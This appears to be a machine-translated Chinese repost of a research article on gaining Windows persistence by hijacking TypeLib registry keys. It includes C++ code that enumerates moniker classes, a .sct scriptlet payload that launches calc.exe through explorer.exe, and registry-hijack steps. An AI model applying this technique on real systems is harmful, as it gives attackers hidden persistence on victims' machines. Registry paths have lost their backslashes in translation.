攻击者使用各种方法在计算机上获取持久性:AutoRun 文件夹、计划任务、注册表项。但是,这些方法为防御者所熟知,这使得它们很容易被发现。
还有更奇特的持久性方法:Compromise Client Software Binary(例如 AppDomain 劫持)、Filter Handlers、Application Shimming、COM Hijacking。
即使保护系统配置正确,这些方法也很容易被检测到。
所以我决定寻找一些新的坚持方式。研究对象是 COM(组件对象模型)系统。这个选择不是偶然做出的,它是一个相当古老的、不太简单、不太复杂的系统,没有多少人理解。
在本文中,我将介绍 TypeLib 库,了解 TypeLib 和 COM 之间的关系,并使用 TypeLib 实现持久化代码执行。
TL
已发现用于将 TypeLib 库加载到进程中的 LoadTypeLib() 函数会查看某些注册表项,以尝试发现目标库的路径。根据文档,如果函数检测到名字对象(COM 对象的字符串表示形式)而不是磁盘路径,则会在进程中加载和执行名字对象。
因此,如果 explorer.exe 调用 LoadTypeLib() 函数,并且我们劫持了名字对象所需的注册表项,则名字对象将在 explorer.exe 中实例化,并执行其代码。
我还将介绍我们创建的 TypeLibWalker 工具,用于检测可用于劫持的 TypeLib。
什么是 TypeLib?
COM 功能以特定文件的形式呈现已不是什么秘密:DLL 库或 EXE。但是,从何处获取有关特定 COM 类的文档?这就是 Microsoft 提出 TypeLib 的地方。
TypeLib 包含有关位于文件中的 COM 类的信息。在 TypeLib 中,您可以找到类、接口和方法描述的列表。
以编程方式,您可以使用 ITypeLib 和 ITypeInfo 接口与 TypeLib 进行交互。例如,在我们的 COMThanasia 存储库中,我们使用这些接口来接收有关特定 CLSID 的信息。
PS A:ssdgitrepoCOMThanasiaClsidExplorerx64Debug> .CLSIDExplorer.exe --clsid "{00000618-0000-0010-8000-00aa006d2ea4}"
[{00000618-0000-0010-8000-00aa006d2ea4}]
AppID: Unknown
ProgID: Unknown
PID: 1572
Process Name: CLSIDExplorer.exe
Username: WINPC\Michael
Methods:
[0] __stdcall void QueryInterface(IN GUID*, OUT void**)
[1] __stdcall unsigned long AddRef()
[2] __stdcall unsigned long Release()
[3] __stdcall void GetTypeInfoCount(OUT unsigned int*)
[4] __stdcall void GetTypeInfo(IN unsigned int, IN unsigned long, OUT void**)
[5] __stdcall void GetIDsOfNames(IN GUID*, IN char**, IN unsigned int, IN unsigned long, OUT long*)
[6] __stdcall void Invoke(IN long, IN GUID*, IN unsigned long, IN unsigned short, IN DISPPARAMS*, OUT VARIANT*, OUT EXCEPINFO*, OUT unsigned int*)
[7] __stdcall BSTR Name()
[8] __stdcall void Name(IN BSTR)
[9] __stdcall RightsEnum GetPermissions(IN VARIANT, IN ObjectTypeEnum, IN VARIANT)
[10] __stdcall void SetPermissions(IN VARIANT, IN ObjectTypeEnum, IN ActionEnum, IN RightsEnum, IN InheritTypeEnum, IN VARIANT)
[11] __stdcall void ChangePassword(IN BSTR, IN BSTR)
[12] __stdcall Groups* Groups()
[13] __stdcall Properties* Properties()
[14] __stdcall _Catalog* ParentCatalog()
[15] __stdcall void ParentCatalog(IN _Catalog*)
[16] __stdcall void ParentCatalog(IN _Catalog*)
[END]
在代码中,我们定义了一个只有两个方法的 TypeLib 类,这足以提取 COM 类的函数签名。
你也可以使用 TypeLibInfoTool 探索 TypeLib。
什么是名字对象?
名字对象是 COM 对象的字符串表示形式。从字面上看,它就像同一个对象,只是作为一个简单的字符串。
更准确地说,名字对象是一种通过特殊名称标识 COM 对象的方法。名字对象功能也可以在 DLL 中表示。
黑客使用相当多的绰号来完成进攻性任务。例如,有 LeakedWallpaper 项目,这是一个滥用 Session 名字对象的 Windows 系统的 LPE 漏洞。除此之外,还有允许您绕过 UAC 的 Elevation 名字对象。
还有一些通常的绵号,但没有有趣的功能。这就是 Class 绰号。类名字对象允许您通过 CLSID 启动 COM 对象,仅此而已。下面是类名字对象的示例。
"clsid:a7b90590-36fd-11cf-857d-00aa006d2ea4:"
链接 COM 和 Typelib
COM 类如何链接到 TypeLib?在 COM 对象键中,有一个名为 .TypeLib
例如,在这种情况下,有一个具有 CLSID 的 COM 对象,该对象与具有 TypeLib ID 的 TypeLib 相关联。TypeLib 库的版本在 key 中定义。{EAE50EB0-4A62-11CE-BED6-00AA00611080}
{0D452EE1-E08F-101A-852E-02608C4D0BB4}
Version
如果进程需要与此 COM 类关联的 TypeLib,则进程将开始查看这些注册表项以发现 TypeLib 的路径。
HKCUSoftwareClassesTypeLib<TypeLib ID><Version>
HKLMSoftwareClassesTypeLib<TypeLib ID><Version>
# Ex
HKEY_LOCAL_MACHINESOFTWAREClassesTypeLib{0D452EE1-E08F-101A-852E-02608C4D0BB4}2.0
发现后,TypeLib 将加载到从 key ->architecture (0
win32/Win64
)->Default Value.
找到的路径将传递给 LoadTypeLib() 函数。这就是诀窍所在。如果此函数接收名字对象作为输入,则此函数将执行名字对象。这样我们就可以劫持注册表中的值并强制进程执行我们的代码。唯一的困难是我们需要确定进程正在加载哪个 TypeLib 库。
选择正确的名字对象
假设我们已经学会了如何强制进程加载我们想要的名字对象。但是我们应该使用哪个绰号呢?
所以,我开始研究。网上没有 Windows 中可用的现成名字对象列表。然而,这对研究人员来说什么时候曾经是一个问题呢?根据文档,名字对象是实现 IMoniker 接口的所有对象。名字对象本身实际上与 COM 对象相同。是什么阻止我们创建一个对象,然后调用 QueryInterface() 并检查此对象是否具有 IMoniker 接口?无!继续编写代码吧!
#include <windows.h>
#include <iostream>
#include <objbase.h>
#include <combaseapi.h>
#include <objidl.h>
#include <atlbase.h>
LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo)
{
std::wcout << "Wow!! Something had broken" << std::endl;
return EXCEPTION_CONTINUE_EXECUTION;
}
bool InitializeCOM() {
HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
return SUCCEEDED(hr);
}
bool DoesObjectImplementIMoniker(REFCLSID clsid) {
IMoniker* pMoniker = nullptr;
IUnknown* pUnknown = nullptr;
HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown);
if (SUCCEEDED(hr) && pUnknown) {
hr = pUnknown->QueryInterface(IID_IMoniker, (void**)&pMoniker);
if (SUCCEEDED(hr)) {
LPOLESTR wsclsid = nullptr;
hr = StringFromCLSID(clsid, &wsclsid);
if (SUCCEEDED(hr))
{
//std::wcout << L"CLSID:" << wsclsid << std::endl;
pMoniker->Release();
pUnknown->Release();
CoTaskMemFree(wsclsid);
return true;
}
}
pUnknown->Release();
}
return false;
}
void EnumerateAllCLSID() {
HKEY hKey;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
wchar_t clsidStr[39];
DWORD index = 0;
DWORD size = sizeof(clsidStr) / sizeof(clsidStr[0]);
while (RegEnumKeyEx(hKey, index, clsidStr, &size, nullptr, nullptr, nullptr, nullptr) == ERROR_SUCCESS) {
CLSID clsid;
if (CLSIDFromString(clsidStr, &clsid) == S_OK) {
if (DoesObjectImplementIMoniker(clsid)) {
LPOLESTR wsclsid = nullptr;
HRESULT hr = StringFromCLSID(clsid, &wsclsid);
if (SUCCEEDED(hr))
{
std::wcout << L"Object with CLSID " << wsclsid << L" implements IMoniker" << std::endl;
}
}
}
index++;
size = sizeof(clsidStr) / sizeof(clsidStr[0]);
}
RegCloseKey(hKey);
}
}
int main() {
if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr)
{
std::wcout << L"[-] Failed to add the exception handler!" << std::endl;
return 1;
}
if (!InitializeCOM()) {
std::cerr << "Failed to initialize COM" << std::endl;
return 1;
}
EnumerateAllCLSID();
CoUninitialize();
return 0;
}
此代码从 HKCR 获取所有可用的 CLSID,然后检查对象上是否存在 IMoniker 接口。
实验发现创建某些对象是不可能的,或者会导致进程崩溃。我在开发 COMThanasia 项目时遇到了这种行为。但是,我懒得修复此代码。我决定找出检测到的 CLSID 的特征。
看到这个名字有多有趣了吗?ClassMoniker 的绰号。。。。。嗯。。。它真的是实现 IMoniker 接口的 COM 类的显著特征吗?
OleViewDotnet 具有按名称对 CLSID 进行分组的便捷功能。我使用它并发现了许多实现名字对象的类。
在这些类的列表中,发现了一个名为“Moniker to Windows Script Component”的类。
在尝试查找 Windows Script Component 系统的示例文件时,我遇到了一个资源,该资源描述了这些是基于 XML 的文件,其中包含操作。在这些文件中,支持脚本标记,您可以在该标记中指定 JScript 代码。
<?XML version="1.0"?>
<package>
<?component error="true" debug="true"?>
<comment>
This skeleton shows how script component elements are
assembled into a .wsc file.
</comment>
<component id="MyScriptlet">
<registration
progid="progID"
description="description"
version="version"
clsid="{00000000-0000-0000-000000000000}"/>
<reference object="progID">
<public>
<property name="propertyname"/>
<method name="methodname"/>
<event name="eventname"/>
</public>
<implements type=COMhandlerName id=internalName>
(interface-specific definitions here)
</implements>
<script language="VBScript">
<![CDATA[
dim propertyname
Function methodname()
' Script here.
End Function
]]>
</script>
<script language="JScript">
<![CDATA[
function get_propertyname()
{ // Script here.
}
function put_propertyname(newValue)
{ // Script here.
fireEvent(eventname)
}
]]>
</script>
<object id="objID" classid="clsid:00000000-0000-0000-000000000000">
<resource ID="resourceID1">string or number here</resource>
<resource ID="resourceID2">string or number here</resource>
</component>
</package>
我们可以删除一些细节,只留下有用的 JScript 有效负载。我从这里获得了 payload 的基础。
<?xml version="1.0"?>
<scriptlet>
<Registration
description="CICADA8 RESEARCH"
progid="CICADA8"
version="1.0">
</Registration>
<script language="JScript">
<![CDATA[
var WShell = new ActiveXObject("WScript.Shell");
WShell.Run("calc.exe");
]]>
</script>
</scriptlet>
如果我们使用脚本名字对象指向此文件,则创建名字对象将导致进程运行。
寻找合适的目标
剩下的就是检测加载我们可以篡改的库的进程。我打开了 Process Monitor,添加了过滤器...并发现 explorer.exe 一直在尝试加载一些 TypeLib 库!
让我们采用一个在 Result 中具有 NAME NOT FOUND 状态的路径。
即 HKCUSoftwareClassesTypeLib{EAB22AC0–30C1–11CF-A7EB-0000C05BAE0B}1.1。如您所见,没有这样的路径。让我们创建一个。
我们所要做的就是通过指定 .sct 文件的路径来恢复此路径。
下次我们启动或关闭 explorer.exe 进程时,将执行我们的代码。explorer.exe 是一个在系统启动时自动启动的进程,因此我们有了另一种获得持久性的方法!
TypelibWalker
但是,如果您不想使用 Process Monitor,则可以尝试劫持您具有写入权限的所有 Typelib。TypeLibWalker 工具允许您自动执行检测可能易受攻击且可能被劫持的注册表项的过程。
该程序还会检查对磁盘上路径的写入权限。您可以将后门留在合法的 TypeLib 库中。
其它课程
QT开发底层原理与安全逆向视频教程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
windows恶意软件开发与对抗视频教程
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
更多详细内容添加作者微信
-
-
原文始发于微信公众号(安全狗的自我修养):新的 COM 持久性技术-劫持 TypeLib
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论